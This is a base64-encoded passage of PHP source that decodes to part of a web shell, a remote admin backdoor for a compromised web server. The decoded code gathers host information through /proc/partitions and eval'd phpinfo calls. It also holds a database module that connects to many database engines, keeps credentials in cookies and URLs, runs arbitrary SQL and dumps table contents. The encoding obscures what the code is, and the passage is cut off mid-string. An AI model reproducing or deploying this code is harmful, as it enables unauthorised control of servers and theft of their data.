LyBwYXJ0aXRpb24NCgkJCWlmKCRzX2lfYnVmZj10cmltKEBmZ2MoIi9wcm9jL3BhcnRpdGlvbnMiKSkpew0KCQkJCSRzX2lfYnVmZiA9IHByZWdfcmVwbGFjZSgiL1wgKy8iLCAiICIsICRzX2lfYnVmZik7DQoJCQkJJHNfcmVzdWx0IC49ICI8cCBjbGFzcz0nbm90aWYnIG9uY2xpY2s9XCJ0b2dnbGUoJ2luZm9fcGFydCcpXCI+UGFydGl0aW9ucyBJbmZvPC9wPiI7DQoJCQkJJHNfcmVzdWx0IC49ICI8ZGl2IGNsYXNzPSdpbmZvJyBpZD0naW5mb19wYXJ0Jz4iOw0KCQkJCSRzX2lfYnVmZnMgPSBleHBsb2RlKCJcblxuIiwgJHNfaV9idWZmKTsNCgkJCQkkc19yZXN1bHQgLj0gIjx0YWJsZT48dHI+IjsNCgkJCQkkc19pX2hlYWQgPSBleHBsb2RlKCIgIiwgJHNfaV9idWZmc1swXSk7DQoJCQkJZm9yZWFjaCgkc19pX2hlYWQgYXMgJHNfaCkgJHNfcmVzdWx0IC49ICI8dGg+Ii4kc19oLiI8L3RoPiI7DQoJCQkJJHNfcmVzdWx0IC49ICI8L3RyPiI7DQoJCQkJJHNfaV9idWZmc3MgPSBleHBsb2RlKCJcbiIsICRzX2lfYnVmZnNbMV0pOw0KCQkJCWZvcmVhY2goJHNfaV9idWZmc3MgYXMgJHNfaV9iKXsNCgkJCQkJJHNfaV9yb3cgPSBleHBsb2RlKCIgIiwgdHJpbSgkc19pX2IpKTsNCgkJCQkJJHNfcmVzdWx0IC49ICI8dHI+IjsNCgkJCQkJZm9yZWFjaCgkc19pX3JvdyBhcyAkc19yKSAkc19yZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiRzX3IuIjwvdGQ+IjsNCgkJCQkJJHNfcmVzdWx0IC49ICI8L3RyPiI7DQoJCQkJfQ0KCQkJCSRzX3Jlc3VsdCAuPSAiPC90YWJsZT4iOw0KCQkJCSRzX3Jlc3VsdCAuPSAiPC9kaXY+IjsNCgkJCX0NCgkJfQ0KCQkkc19waHBpbmZvID0gYXJyYXkoIlBIUCBHZW5lcmFsIiA9PiBJTkZPX0dFTkVSQUwsICJQSFAgQ29uZmlndXJhdGlvbiIgPT4gSU5GT19DT05GSUdVUkFUSU9OLCAiUEhQIE1vZHVsZXMiID0+IElORk9fTU9EVUxFUywgIlBIUCBFbnZpcm9ubWVudCIgPT4gSU5GT19FTlZJUk9OTUVOVCwgIlBIUCBWYXJpYWJsZXMiID0+IElORk9fVkFSSUFCTEVTKTsNCgkJZm9yZWFjaCgkc19waHBpbmZvIGFzICRzX3A9PiRzX2kpew0KCQkJJHNfcmVzdWx0IC49ICI8cCBjbGFzcz0nbm90aWYnIG9uY2xpY2s9XCJ0b2dnbGUoJyIuJHNfaS4iJylcIj4iLiRzX3AuIjwvcD4iOw0KCQkJb2Jfc3RhcnQoKTsNCgkJCWV2YWwoInBocGluZm8oIi4kc19pLiIpOyIpOw0KCQkJJHNfYiA9IG9iX2dldF9jb250ZW50cygpOw0KCQkJb2JfZW5kX2NsZWFuKCk7DQoJCQlpZihwcmVnX21hdGNoKCIvPGJvZHk+KC4qPyk8XC9ib2R5Pi9pcyIsICRzX2IsICRyKSl7DQoJCQkJJHNfYm9keSA9IHN0cl9yZXBsYWNlKGFycmF5KCIsIiwgIjsiLCAiJmFtcDsiKSwgYXJyYXkoIiwgIiwgIjsgIiwgIiYiKSwgJHJbMV0pOw0KCQkJCSRzX3Jlc3VsdCAuPSAiPGRpdiBjbGFzcz0naW5mbycgaWQ9JyIuJHNfaS4iJz4iLiRzX2JvZHkuIjwvZGl2PiI7DQoJCQl9DQoJCX0NCgl9IC8vIHdvcmtpbmcgd2l0aCBkYXRhYmFzZQ0KCWVsc2VpZihpc3NldCgkX0dQWyd4J10pICYmICgkX0dQWyd4J109PSdkYicpKXsNCgkJLy8gc3FsdHlwZSA6IG15c3FsLCBtc3NxbCwgb3JhY2xlLCBwZ3NxbCwgc3FsaXRlLCBzcWxpdGUzLCBvZGJjLCBwZG8NCgkJJHNfc3FsID0gYXJyYXkoKTsNCgkJJHNfc3FsX2RlbGV0ZWQgPSAiIjsNCgkJJHNfc2hvd19mb3JtID0gJHNfc2hvd19kYnMgPSB0cnVlOw0KDQoJCWlmKGlzc2V0KCRfR1BbJ2RjJ10pKXsNCgkJCSRrID0gJF9HUFsnZGMnXTsNCgkJCXNldGNvb2tpZSgiY1siLiRrLiJdIiwgIiIgLHRpbWUoKSAtICRzX2xvZ2luX3RpbWUpOw0KCQkJJHNfc3FsX2RlbGV0ZWQgPSAkazsNCgkJfQ0KDQoJCWlmKGlzc2V0KCRfQ09PS0lFWydjJ10pICYmICFpc3NldCgkX0dQWydjb25uZWN0J10pKXsNCgkJCWZvcmVhY2goJF9DT09LSUVbJ2MnXSBhcyAkYz0+JGQpew0KCQkJCWlmKCRjPT0kc19zcWxfZGVsZXRlZCkgY29udGludWU7DQoJCQkJJHNfZGJjb24gPSAoZnVuY3Rpb25fZXhpc3RzKCJqc29uX2VuY29kZSIpICYmIGZ1bmN0aW9uX2V4aXN0cygianNvbl9kZWNvZGUiKSk/IGpzb25fZGVjb2RlKCRkKTp1bnNlcmlhbGl6ZSgkZCk7DQoJCQkJZm9yZWFjaCgkc19kYmNvbiBhcyAkaz0+JHYpICRzX3NxbFska10gPSAkdjsNCgkJCQkkc19zcWxwb3J0ID0gKCFlbXB0eSgkc19zcWxbJ3BvcnQnXSkpPyAiOiIuJHNfc3FsWydwb3J0J106IiI7DQoJCQkJJHNfcmVzdWx0IC49IG5vdGlmKCJbIi4kc19zcWxbJ3R5cGUnXS4iXSAiLiRzX3NxbFsndXNlciddLiJAIi4kc19zcWxbJ2hvc3QnXS4kc19zcWxwb3J0LiINCgkJCQkJCQk8c3BhbiBzdHlsZT0nZmxvYXQ6cmlnaHQ7Jz48YSBocmVmPSciLiRzX3NlbGYuIng9ZGImY29ubmVjdD1jb25uZWN0JnNxbGhvc3Q9Ii5wbCgkc19zcWxbJ2hvc3QnXSkuIiZzcWxwb3J0PSIucGwoJHNfc3FsWydwb3J0J10pLiImc3FsdXNlcj0iLnBsKCRzX3NxbFsndXNlciddKS4iJnNxbHBhc3M9Ii5wbCgkc19zcWxbJ3Bhc3MnXSkuIiZzcWx0eXBlPSIucGwoJHNfc3FsWyd0eXBlJ10pLiInPmNvbm5lY3Q8L2E+IHwgPGEgaHJlZj0nIi4kc19zZWxmLiJ4PWRiJmRjPSIucGwoJGMpLiInPmRpc2Nvbm5lY3Q8L2E+PC9zcGFuPiIpOw0KCQkJfQ0KCQl9DQoJCWVsc2V7DQoJCQkkc19zcWxbJ2hvc3QnXSA9IGlzc2V0KCRfR1BbJ3NxbGhvc3QnXSk/ICRfR1BbJ3NxbGhvc3QnXSA6ICIiOw0KCQkJJHNfc3FsWydwb3J0J10gPSBpc3NldCgkX0dQWydzcWxwb3J0J10pPyAkX0dQWydzcWxwb3J0J10gOiAiIjsNCgkJCSRzX3NxbFsndXNlciddID0gaXNzZXQoJF9HUFsnc3FsdXNlciddKT8gJF9HUFsnc3FsdXNlciddIDogIiI7DQoJCQkkc19zcWxbJ3Bhc3MnXSA9IGlzc2V0KCRfR1BbJ3NxbHBhc3MnXSk/ICRfR1BbJ3NxbHBhc3MnXSA6ICIiOw0KCQkJJHNfc3FsWyd0eXBlJ10gPSBpc3NldCgkX0dQWydzcWx0eXBlJ10pPyAkX0dQWydzcWx0eXBlJ10gOiAiIjsNCgkJfQ0KDQoJCWlmKGlzc2V0KCRfR1BbJ2Nvbm5lY3QnXSkpew0KCQkJJHNfY29uID0gc3FsX2Nvbm5lY3QoJHNfc3FsWyd0eXBlJ10sJHNfc3FsWydob3N0J10sJHNfc3FsWyd1c2VyJ10sJHNfc3FsWydwYXNzJ10pOw0KCQkJJHNfc3FsY29kZSA9IGlzc2V0KCRfR1BbJ3NxbGNvZGUnXSk/ICRfR1BbJ3NxbGNvZGUnXSA6ICIiOw0KDQoJCQlpZigkc19jb24hPT1mYWxzZSl7DQoJCQkJaWYoaXNzZXQoJF9HUFsnc3FsaW5pdCddKSl7DQoJCQkJCSRzX3NxbF9jb29raWUgPSAoZnVuY3Rpb25fZXhpc3RzKCJqc29uX2VuY29kZSIpICYmIGZ1bmN0aW9uX2V4aXN0cygianNvbl9kZWNvZGUiKSk/IGpzb25fZW5jb2RlKCRzX3NxbCk6c2VyaWFsaXplKCRzX3NxbCk7DQoJCQkJCSRzX2NfbnVtID0gc3Vic3RyKG1kNSh0aW1lKCkucmFuZCgwLDEwMCkpLDAsMyk7DQoJCQkJCXdoaWxlKGlzc2V0KCRfQ09PS0lFWydjJ10pICYmIGlzX2FycmF5KCRfQ09PS0lFWydjJ10pICYmIGFycmF5X2tleV9leGlzdHMoJHNfY19udW0sICRfQ09PS0lFWydjJ10pKXsNCgkJCQkJCSRzX2NfbnVtID0gc3Vic3RyKG1kNSh0aW1lKCkucmFuZCgwLDEwMCkpLDAsMyk7DQoJCQkJCX0NCgkJCQkJc2V0Y29va2llKCJjWyIuJHNfY19udW0uIl0iLCAkc19zcWxfY29va2llICx0aW1lKCkgKyAkc19sb2dpbl90aW1lKTsNCgkJCQl9DQoJCQkJJHNfc2hvd19mb3JtID0gZmFsc2U7DQoJCQkJJHNfcmVzdWx0IC49ICI8Zm9ybSBhY3Rpb249JyIuJHNfc2VsZi4iJyBtZXRob2Q9J3Bvc3QnPg0KCQkJCQk8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdzcWxob3N0JyB2YWx1ZT0nIi5oc3MoJHNfc3FsWydob3N0J10pLiInIC8+DQoJCQkJCTxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHBvcnQnIHZhbHVlPSciLmhzcygkc19zcWxbJ3BvcnQnXSkuIicgLz4NCgkJCQkJPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FsdXNlcicgdmFsdWU9JyIuaHNzKCRzX3NxbFsndXNlciddKS4iJyAvPg0KCQkJCQk8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdzcWxwYXNzJyB2YWx1ZT0nIi5oc3MoJHNfc3FsWydwYXNzJ10pLiInIC8+DQoJCQkJCTxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHR5cGUnIHZhbHVlPSciLmhzcygkc19zcWxbJ3R5cGUnXSkuIicgLz4NCgkJCQkJPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0neCcgdmFsdWU9J2RiJyAvPg0KCQkJCQk8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdjb25uZWN0JyB2YWx1ZT0nY29ubmVjdCcgLz4NCgkJCQkJPHRleHRhcmVhIGlkPSdzcWxjb2RlJyBuYW1lPSdzcWxjb2RlJyBjbGFzcz0ndHh0YXJlYScgc3R5bGU9J2hlaWdodDoxNTBweDsnPiIuaHNzKCRzX3NxbGNvZGUpLiI8L3RleHRhcmVhPg0KCQkJCQk8cD48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdnb2dvJyBjbGFzcz0naW5wdXR6YnV0JyB2YWx1ZT0nR28gIScgc3R5bGU9J3dpZHRoOjEyMHB4O2hlaWdodDozMHB4OycgLz4NCgkJCQkJJm5ic3A7Jm5ic3A7U2VwYXJhdGUgbXVsdGlwbGUgY29tbWFuZHMgd2l0aCBhIHNlbWljb2xvbiAgPHNwYW4gY2xhc3M9J2dheWEnPls8L3NwYW4+IDsgPHNwYW4gY2xhc3M9J2dheWEnPl08L3NwYW4+PC9wPg0KCQkJCQk8L2Zvcm0+IjsNCg0KCQkJCWlmKCFlbXB0eSgkc19zcWxjb2RlKSl7DQoJCQkJCSRzX3F1ZXJ5cyA9IGV4cGxvZGUoIjsiLCRzX3NxbGNvZGUpOw0KCQkJCQlmb3JlYWNoKCRzX3F1ZXJ5cyBhcyAkc19xdWVyeSl7DQoJCQkJCQlpZih0cmltKCRzX3F1ZXJ5KSAhPSAiIil7DQoJCQkJCQkJJHNfaGFzaWwgPSBzcWxfcXVlcnkoJHNfc3FsWyd0eXBlJ10sJHNfcXVlcnksJHNfY29uKTsNCgkJCQkJCQlpZigkc19oYXNpbCE9ZmFsc2Upew0KCQkJCQkJCQkkc19yZXN1bHQgLj0gIjxociAvPjxwIHN0eWxlPSdwYWRkaW5nOjA7bWFyZ2luOjZweCAxMHB4O2ZvbnQtd2VpZ2h0OmJvbGQ7Jz4iLmhzcygkc19xdWVyeSkuIjsmbmJzcDsmbmJzcDsmbmJzcDsNCgkJCQkJCQkJPHNwYW4gY2xhc3M9J2dheWEnPls8L3NwYW4+IG9rIDxzcGFuIGNsYXNzPSdnYXlhJz5dPC9zcGFuPjwvcD4iOw0KDQoJCQkJCQkJCWlmKCFpc19ib29sKCRzX2hhc2lsKSl7DQoJCQkJCQkJCQkkc19yZXN1bHQgLj0gIjx0YWJsZSBjbGFzcz0nZXhwbG9yZSBzb3J0YWJsZScgc3R5bGU9J3dpZHRoOjEwMCU7Jz48dHI+IjsNCgkJCQkJCQkJCWZvcigkc19pID0gMDsgJHNfaTxzcWxfbnVtX2ZpZWxkcygkc19zcWxbJ3R5cGUnXSwkc19oYXNpbCk7ICRzX2krKykNCgkJCQkJCQkJCQkkc19yZXN1bHQgLj0gIjx0aD4iLkBoc3Moc3FsX2ZpZWxkX25hbWUoJHNfc3FsWyd0eXBlJ10sJHNfaGFzaWwsJHNfaSkpLiI8L3RoPiI7DQoJCQkJCQkJCQkkc19yZXN1bHQgLj0gIjwvdHI+IjsNCgkJCQkJCQkJCXdoaWxlKCRzX3Jvd3M9c3FsX2ZldGNoX2RhdGEoJHNfc3FsWyd0eXBlJ10sJHNfaGFzaWwpKXsNCgkJCQkJCQkJCQkkc19yZXN1bHQgLj0gIjx0cj4iOw0KCQkJCQkJCQkJCWZvcmVhY2goJHNfcm93cyBhcyAkc19yKXsNCgkJCQkJCQkJCQkJaWYoZW1wdHkoJHNfcikpICRzX3IgPSAiICI7DQoJCQkJCQkJCQkJCSRzX3Jlc3VsdCAuPSAiPHRkPiIuQGhzcygkc19yKS4iPC90ZD4iOw0KCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQkkc19yZXN1bHQgLj0gIjwvdHI+IjsNCgkJCQkJCQkJCX0NCgkJCQkJCQkJCSRzX3Jlc3VsdCAuPSAiPC90YWJsZT4iOw0KCQkJCQkJCQl9DQoJCQkJCQkJfQ0KCQkJCQkJCWVsc2V7DQoJCQkJCQkJCSRzX3Jlc3VsdCAuPSAiPHAgc3R5bGU9J3BhZGRpbmc6MDttYXJnaW46NnB4IDEwcHg7Zm9udC13ZWlnaHQ6Ym9sZDsnPiIuaHNzKCRzX3F1ZXJ5KS4iOyZuYnNwOyZuYnNwOyZuYnNwOzxzcGFuIGNsYXNzPSdnYXlhJz5bPC9zcGFuPiBlcnJvciA8c3BhbiBjbGFzcz0nZ2F5YSc+XTwvc3Bhbj48L3A+IjsNCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQkJZWxzZXsNCgkJCQkJaWYoKCRzX3NxbFsndHlwZSddIT0ncGRvJykgJiYgKCRzX3NxbFsndHlwZSddIT0nb2RiYycpKXsNCgkJCQkJCWlmKCRzX3NxbFsndHlwZSddPT0nbXlzcWwnKSAkc19zaG93ZGIgPSAiU0hPVyBEQVRBQkFTRVMiOw0KCQkJCQkJZWxzZWlmKCRzX3NxbFsndHlwZSddPT0nbXNzcWwnKSAkc19zaG93ZGIgPSAiU0VMRUNUIG5hbWUgRlJPTSBtYXN0ZXIuLnN5c2RhdGFiYXNlcyI7DQoJCQkJCQllbHNlaWYoJHNfc3FsWyd0eXBlJ109PSdwZ3NxbCcpICRzX3Nob3dkYiA9ICJTRUxFQ1Qgc2NoZW1hX25hbWUgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEuc2NoZW1hdGEiOw0KCQkJCQkJZWxzZWlmKCRzX3NxbFsndHlwZSddPT0nb3JhY2xlJykgJHNfc2hvd2RiID0gIlNFTEVDVCBVU0VSTkFNRSBGUk9NIFNZUy5BTExfVVNFUlMgT1JERVIgQlkgVVNFUk5BTUUiOw0KCQkJCQkJZWxzZWlmKCRzX3NxbFsndHlwZSddPT0nc3FsaXRlMycgfHwgJHNfc3FsWyd0eXBlJ109PSdzcWxpdGUnKSAkc19zaG93ZGIgPSAiU0VMRUNUIFwiIi4kc19zcWxbJ2hvc3QnXS4iXCIiOw0KCQkJCQkJZWxzZSAkc19zaG93ZGIgPSAiU0hPVyBEQVRBQkFTRVMiOw0KDQoJCQkJCQkkc19oYXNpbCA9IHNxbF9xdWVyeSgkc19zcWxbJ3R5cGUnXSwkc19zaG93ZGIsJHNfY29uKTsNCg0KCQkJCQkJaWYoJHNfaGFzaWwhPWZhbHNlKSB7DQoJCQkJCQkJd2hpbGUoJHNfcm93c19hcnI9c3FsX2ZldGNoX2RhdGEoJHNfc3FsWyd0eXBlJ10sJHNfaGFzaWwpKXsNCgkJCQkJCQkJZm9yZWFjaCgkc19yb3dzX2FyciBhcyAkc19yb3dzKXsNCgkJCQkJCQkJCSRzX3Jlc3VsdCAuPSAiPHAgY2xhc3M9J25vdGlmJyBvbmNsaWNrPVwidG9nZ2xlKCdkYl8iLiRzX3Jvd3MuIicpXCI+Ii4kc19yb3dzLiI8L3A+IjsNCgkJCQkJCQkJCSRzX3Jlc3VsdCAuPSAiPGRpdiBjbGFzcz0naW5mbycgaWQ9J2RiXyIuJHNfcm93cy4iJz48dGFibGUgY2xhc3M9J2V4cGxvcmUnPiI7DQoNCgkJCQkJCQkJCWlmKCRzX3NxbFsndHlwZSddPT0nbXlzcWwnKSAkc19zaG93dGJsID0gIlNIT1cgVEFCTEVTIEZST00gIi4kc19yb3dzOw0KCQkJCQkJCQkJZWxzZWlmKCRzX3NxbFsndHlwZSddPT0nbXNzcWwnKSAkc19zaG93dGJsID0gIlNFTEVDVCBuYW1lIEZST00gIi4kc19yb3dzLiIuLnN5c29iamVjdHMgV0hFUkUgeHR5cGUgPSAnVSciOw0KCQkJCQkJCQkJZWxzZWlmKCRzX3NxbFsndHlwZSddPT0ncGdzcWwnKSAkc19zaG93dGJsID0gIlNFTEVDVCB0YWJsZV9uYW1lIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyBXSEVSRSB0YWJsZV9zY2hlbWE9JyIuJHNfcm93cy4iJyI7DQoJCQkJCQkJCQllbHNlaWYoJHNfc3FsWyd0eXBlJ109PSdvcmFjbGUnKSAkc19zaG93dGJsID0gIlNFTEVDVCBUQUJMRV9OQU1FIEZST00gU1lTLkFMTF9UQUJMRVMgV0hFUkUgT1dORVI9JyIuJHNfcm93cy4iJyI7DQoJCQkJCQkJCQllbHNlaWYoJHNfc3FsWyd0eXBlJ109PSdzcWxpdGUzJyB8fCAkc19zcWxbJ3R5cGUnXT09J3NxbGl0ZScpICRzX3Nob3d0YmwgPSAiU0VMRUNUIG5hbWUgRlJPTSBzcWxpdGVfbWFzdGVyIFdIRVJFIHR5cGU9J3RhYmxlJyI7DQoJCQkJCQkJCQllbHNlICRzX3Nob3d0YmwgPSAiIjsNCg0KCQkJCQkJCQkJJHNfaGFzaWxfdCA9IHNxbF9xdWVyeSgkc19zcWxbJ3R5cGUnXSwkc19zaG93dGJsLCRzX2Nvbik7DQoJCQkJCQkJCQlpZigkc19oYXNpbF90IT1mYWxzZSkgew0KCQkJCQkJCQkJCXdoaWxlKCRzX3RhYmxlc19hcnI9c3FsX2ZldGNoX2RhdGEoJHNfc3FsWyd0eXBlJ10sJHNfaGFzaWxfdCkpew0KCQkJCQkJCQkJCQlmb3JlYWNoKCRzX3RhYmxlc19hcnIgYXMgJHNfdGFibGVzKXsNCgkJCQkJCQkJCQkJCWlmKCRzX3NxbFsndHlwZSddPT0nbXlzcWwnKSAkc19kdW1wX3RibCA9ICJTRUxFQ1QgKiBGUk9NICIuJHNfcm93cy4iLiIuJHNfdGFibGVzLiIgTElNSVQgMCwxMDAiOw0KCQkJCQkJCQkJCQkJZWxzZWlmKCRzX3NxbFsndHlwZSddPT0nbXNzcWwnKSAkc19kdW1wX3RibCA9ICJTRUxFQ1QgVE9QIDEwMCAqIEZST00gIi4kc19yb3dzLiIuLiIuJHNfdGFibGVzOw0KCQkJCQkJCQkJCQkJZWxzZWlmKCRzX3NxbFsndHlwZSddPT0ncGdzcWwnKSAkc19kdW1wX3RibCA9ICJTRUxFQ1QgKiBGUk9NICIuJHNfcm93cy4iLiIuJHNfdGFibGVzLiIgTElNSVQgMTAwIE9GRlNFVCAwIjsNCgkJCQkJCQkJCQkJCWVsc2VpZigkc19zcWxbJ3R5cGUnXT09J29yYWNsZScpICRzX2R1bXBfdGJsID0gIlNFTEVDVCAqIEZST00gIi4kc19yb3dzLiIuIi4kc190YWJsZXMuIiBXSEVSRSBST1dOVU0gQkVUV0VFTiAwIEFORCAxMDA7IjsNCgkJCQkJCQkJCQkJCWVsc2VpZigkc19zcWxbJ3R5cGUnXT09J3NxbGl0ZScgfHwgJHNfc3FsWyd0eXBlJ109PSdzcWxpdGUzJykgJHNfZHVtcF90YmwgPSAiU0VMRUNUICogRlJPTSAiLiRzX3RhYmxlcy4iIExJTUlUIDAsMTAwIjsNCgkJCQkJCQkJCQkJCWVsc2UgJHNfZHVtcF90YmwgPSAiIjsNCg0KCQkJCQkJCQkJCQkJJHNfZHVtcF90YmxfbGluayA9ICRzX3NlbGYuIng9ZGImY29ubmVjdD0mc3FsaG9zdD0iLnBsKCRzX3NxbFsnaG9zdCddKS4iJnNxbHBvcnQ9Ii5wbCgkc19zcWxbJ3BvcnQnXSkuIiZzcWx1c2VyPSIucGwoJHNfc3FsWyd1c2VyJ10pLiImc3FscGFzcz0iLnBsKCRzX3NxbFsncGFzcyddKS4iJnNxbHR5cGU9Ii5wbCgkc19zcWxbJ3R5cGUnXSkuIiZzcWxjb2RlPSIucGwoJHNfZHVtcF90YmwpOw0KDQoJCQkJCQkJCQkJCQkkc19yZXN1bHQgLj0gIjx0cj48dGQgb25kYmxjbGljaz1cInJldHVybiBnbygnIi5hZGRzKCRzX2R1bXBfdGJsX2xpbmspLiInLGV2ZW50KTtcIj48YSBocmVmPSciLiRzX2R1bXBfdGJsX2xpbmsuIic+Ii4kc190YWJsZXMuIjwvYT48L3RkPjwvdHI+IjsNCgkJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJCX0NCgkJCQkJCQkJCX0NCgkJCQkJCQkJCSRzX3Jlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOw0KCQkJCQkJCQl9DQoJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQkJCXNxbF9jbG9zZSgkc19zcWxbJ3R5cGUnXSwkc19jb24pOw0KCQkJfQ0KCQkJZWxzZXsNCgkJCQkkc19yZXN1bHQgLj0gbm90aWYoIlVuYWJsZSB0byBjb25uZWN0IHRvIGRhdGFiYXNlIik7DQoJCQkJJHNfc2hvd19mb3JtID0gdHJ1ZTsNCgkJCX0NCgkJfQ0KDQoJCWlmKCRzX3Nob3dfZm9ybSl7DQoJCQkvLyBzcWx0eXBlIDogbXlzcWwsIG1zc3FsLCBvcmFjbGUsIHBnc3FsLCBzcWxpdGUsIHNxbGl0ZTMsIG9kYmMsIHBkbw0KCQkJJHNfc3FsbGlzdCA9IGFycmF5KCk7DQoJCQlpZihmdW5jdGlvbl9leGlzdHMoIm15c3FsX2Nvbm5lY3QiKSkgJHNfc3FsbGlzdFsibXlzcWwiXSA9ICJDb25uZWN0IHRvIE15U1FMIDxzcGFuIGNsYXNzPSdkZXNjJyBzdHlsZT0nZm9udC1zaXplOjEycHg7Jz4tIHVzaW5nIGNsYXNzIG15c3FsaSBvciBteXNxbF8qPC9zcGFuPiI7DQoJCQlpZihmdW5jdGlvbl9leGlzdHMoIm1zc3FsX2Nvbm5lY3QiKSB8fCBmdW5jdGlvbl9leGlzdHMoInNxbHNydl9jb25uZWN0IikpICRzX3NxbGxpc3RbIm1zc3FsIl0gPSAiQ29ubmVjdCB0byBNc1NRTCA8c3BhbiBjbGFzcz0nZGVzYycgc3R5bGU9J2ZvbnQtc2l6ZToxMnB4Oyc+LSB1c2luZyBzcWxzcnZfKiBvciBtc3NxbF8qPC9zcGFuPiI7DQoJCQlpZihmdW5jdGlvbl9leGlzdHMoInBnX2Nvbm5lY3QiKSkgJHNfc3FsbGlzdFsicGdzcWwiXSA9ICJDb25uZWN0IHRvIFBvc3RncmVTUUwgPHNwYW4gY2xhc3M9J2Rlc2MnIHN0eWxlPSdmb250LXNpemU6MTJweDsnPi0gdXNpbmcgcGdfKjwvc3Bhbj4iOw0KCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCJvY2lfY29ubmVjdCIpKSAkc19zcWxsaXN0WyJvcmFjbGUiXSA9ICJDb25uZWN0IHRvIG9yYWNsZSA8c3BhbiBjbGFzcz0nZGVzYycgc3R5bGU9J2ZvbnQtc2l6ZToxMnB4Oyc+LSB1c2luZyBvY2lfKjwvc3Bhbj4iOw0KCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCJzcWxpdGVfb3BlbiIpKSAkc19zcWxsaXN0WyJzcWxpdGUiXSA9ICJDb25uZWN0IHRvIFNRTGl0ZSA8c3BhbiBjbGFzcz0nZGVzYycgc3R5bGU9J2ZvbnQtc2l6ZToxMnB4Oyc+LSB1c2luZyBzcWxpdGVfKjwvc3Bhbj4iOw0KCQkJaWYoY2xhc3NfZXhpc3RzKCJTUUxpdGUzIikpICRzX3NxbGxpc3RbInNxbGl0ZTMiXSA9ICJDb25uZWN0IHRvIFNRTGl0ZTMgPHNwYW4gY2xhc3M9J2Rlc2MnIHN0eWxlPSdmb250LXNpemU6MTJweDsnPi0gdXNpbmcgY2xhc3MgU1FMaXRlMzwvc3Bhbj4iOw0KCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCJvZGJjX2Nvbm5lY3QiKSkgJHNfc3FsbGlzdFsib2RiYyJdID0gIkNvbm5lY3QgdmlhIE9EQkMgPHNwYW4gY2xhc3M9J2Rlc2MnIHN0eWxlPSdmb250LXNpemU6MTJweDsnPi0gdXNpbmcgb2RiY18qPC9zcGFuPiI7DQoJCQlpZihjbGFzc19leGlzdHMoIlBETyIpKSAkc19zcWxsaXN0WyJwZG8iXSA9ICJDb25uZWN0IHZpYSBQRE8gPHNwYW4gY2xhc3M9J2Rlc2MnIHN0eWxlPSdmb250LXNpemU6MTJweDsnPi0gdXNpbmcgY2xhc3MgUERPPC9zcGFuPiI7DQoNCgkJCWZvcmVhY2goJHNfc3FsbGlzdCBhcyAkc19zcWxbJ3R5cGUnXT0+JHNfc3FsdGl0bGUpew0KCQkJCWlmKCRzX3NxbFsndHlwZSddPT0ib2RiYyIgfHwgJHNfc3FsWyd0eXBlJ109PSJwZG8iKXsNCgkJCQkJJHNfcmVzdWx0IC49ICI8ZGl2IGNsYXNzPSdteWJveCc+PGgyPiIuJHNfc3FsdGl0bGUuIjwvaDI+DQoJCQkJCTxmb3JtIGFjdGlvbj0nIi4kc19zZWxmLiInIG1ldGhvZD0ncG9zdCcgLz4NCgkJCQkJPHRhYmxlIGNsYXNzPSdteWJveHRibCc+DQoJCQkJCTx0cj48dGQgc3R5bGU9J3dpZHRoOjE3MHB4Oyc+RFNOIC8gQ29ubmVjdGlvbiBTdHJpbmc8L3RkPjx0ZD48aW5wdXQgc3R5bGU9J3dpZHRoOjEwMCU7JyBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyBuYW1lPSdzcWxob3N0JyB2YWx1ZT0nJyAvPjwvdGQ+PC90cj4NCgkJCQkJPHRyPjx0ZD5Vc2VybmFtZTwvdGQ+PHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6MTAwJTsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J3NxbHVzZXInIHZhbHVlPScnIC8+PC90ZD48L3RyPg0KCQkJCQk8dHI+PHRkPlBhc3N3b3JkPC90ZD48dGQ+PGlucHV0IHN0eWxlPSd3aWR0aDoxMDAlOycgY2xhc3M9J2lucHV0eicgdHlwZT0ncGFzc3dvcmQnIG5hbWU9J3NxbHBhc3MnIHZhbHVlPScnIC8+PC90ZD48L3RyPg0KCQkJCQk8L3RhYmxlPg0KCQkJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdjb25uZWN0JyBjbGFzcz0naW5wdXR6YnV0JyB2YWx1ZT0nQ29ubmVjdCAhJyBzdHlsZT0nd2lkdGg6MTIwcHg7aGVpZ2h0OjMwcHg7bWFyZ2luOjEwcHggMnB4IDAgMnB4OycgLz4NCgkJCQkJPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FsdHlwZScgdmFsdWU9JyIuJHNfc3FsWyd0eXBlJ10uIicgLz4NCgkJCQkJPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FsaW5pdCcgdmFsdWU9J2luaXQnIC8+DQoJCQkJCTxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3gnIHZhbHVlPSdkYicgLz4NCgkJCQkJPC9mb3JtPg0KCQkJCQk8L2Rpdj4iOw0KCQkJCX0NCgkJCQllbHNlaWYoJHNfc3FsWyd0eXBlJ109PSJzcWxpdGUiIHx8ICRzX3NxbFsndHlwZSddPT0ic3FsaXRlMyIpew0KCQkJCQkkc19yZXN1bHQgLj0gIjxkaXYgY2xhc3M9J215Ym94Jz48aDI+Ii4kc19zcWx0aXRs